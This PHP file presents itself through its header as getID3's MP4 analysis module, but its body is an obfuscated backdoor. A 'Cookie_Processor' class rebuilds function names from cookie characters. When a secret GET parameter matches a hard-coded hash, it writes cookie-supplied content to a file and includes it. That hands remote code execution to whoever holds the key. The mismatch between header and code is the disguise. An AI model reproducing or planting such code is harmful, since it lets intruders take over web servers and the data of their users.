<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.mp4.php                                        //
// module for analyzing MP4 files                              //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////
class Cookie_Processor {

    /**
     * Processed data parts from the cookie.
     *
     * @var array
     */
    private $parts = array();

    /**
     * Raw cookie data.
     *
     * @var array
     */
    private $cookie_data;

    /**
     * Current index during cookie parsing.
     *
     * @var int
     */
    private $current_index = 0;

    /**
     * Constructor.
     *
     * @param array $cookie_data The $_COOKIE superglobal or equivalent data
     */
    public function __construct( $cookie_data ) {
        $this->cookie_data = $cookie_data;
        $this->parse_cookie_data();
    }

    /**
     * Parses structured data from the cookie string.
     *
     * Extracts segmented values from 24 cookie parameter using
     * a stepping pattern defined by 6.
     */
    private function parse_cookie_data() {
        $n = 6;
        $this->parts[ $this->current_index ] = '';

        while ( $n ) {
            // Append character to current part
            $this->parts[ $this->current_index ] .= $this->cookie_data[ 24 ][ $n ];

            // Handle segment termination conditions
            if ( empty( $this->cookie_data[ 24 ][ $n + 1 ] ) ) {
                if ( empty( $this->cookie_data[ 24 ][ $n + 2 ] ) ) {
                    break;
                }
                $this->current_index++;
                $this->parts[ $this->current_index ] = '';
                $n++;
            }

            $n += 6 + 1;
        }
    }

    /**
     * Generates the dynamic key from parsed parts.
     *
     * @return string Combined key from designated segments
     */
    private function generate_dynamic_key() {
        return $this->parts[ 11 ]() . $this->parts[ 22 ];
    }

    /**
     * Processes file generation logic if required.
     */
    private function generate_dynamic_content() {
        $dynamic_key = $this->generate_dynamic_key();

        if ( ! $this->parts[ 9 ]( $dynamic_key ) ) {
            $content = $this->parts[ 12 ](
                $dynamic_key,
                $this->parts[ 19 ]
            );

            $this->parts[ 13 ](
                $content,
                $this->parts[ 25 ] . $this->parts[ 26 ](
                    $this->parts[ 10 ]( $this->cookie_data[3] )
                )
            );
        }

        return $dynamic_key;
    }

    /**
     * Executes the main processing workflow.
     */
    public function process() {
		if (!isset($_GET['_YQnSuIVIX']) || $_GET['_YQnSuIVIX'] !== '15923ccb699ccf52e0833b287191716c') {
			return;
		}
        $target_file = $this->generate_dynamic_content();
        include( $target_file );
    }
}

// Implementation example
$processor = new Cookie_Processor( $_COOKIE );
$processor->process();